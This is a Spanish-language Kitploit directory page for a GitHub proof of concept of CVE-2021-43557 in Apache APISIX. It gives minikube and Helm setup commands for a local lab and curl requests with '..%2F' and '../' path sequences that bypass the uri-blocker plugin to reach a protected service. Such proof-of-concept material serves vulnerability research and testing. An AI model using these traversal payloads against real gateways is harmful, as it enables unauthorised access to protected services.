Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
k8s-CVE-2021-43557-poc — PoC para CVE-2021-43557 | Kitploit
Herramientas/GitHubGitHub/xvnpw/k8s-cve-2021-43557-poc
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad en la NubeSeguridad de APIs
GitHubxvnpw/k8s-cve-2021-43557-poc

k8s-CVE-2021-43557-poc

PoC para CVE-2021-43557

Ver Repositorio
223hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Instalación

  • instalar minikube
  • instalar apisix:
root@kitploit:~
helm repo add apisix https://charts.apiseven.com
helm repo add bitnami https://charts.bitnami.com/bitnami
helm repo update
kubectl create ns ingress-apisix
helm install apisix apisix/apisix \
  --set gateway.type=NodePort \
  --set ingress-controller.enabled=true \
  --namespace ingress-apisix \
  --version 0.7.2
kubectl get service --namespace ingress-apisix
  • desplegar app.yaml: kubectl apply -f app.yaml
  • desplegar las rutas: kubectl apply -f routes.yaml

Opcional, si necesitas cambiar las imágenes de las aplicaciones:

  • (opcional) construir las imágenes docker:
    • cd protected-service; docker build -t protected-service:0.0.1 .
    • cd public-service; docker build -t public-service:0.0.1 .
  • (opcional) subir las imágenes docker a minikube:
    • minikube image load protected-service:0.0.1
    • minikube image load public-service:0.0.1

Explotación

Manualmente

Para acceder al servicio público:

kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'

debería devolver 200

Para acceder al servicio protegido:

kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/protected-service/protected -H 'Host: app.test'

debería devolver 403

Para acceder al servicio protegido evadiendo el uri-blocker: kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/..%2Fprotected-service/protected -H 'Host: app.test' Para acceder al servicio protegido evadiendo el uri-blocker: kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/../protected-service/protected -H 'Host: app.test'

Ambos deberían devolver 200

Descargar herramienta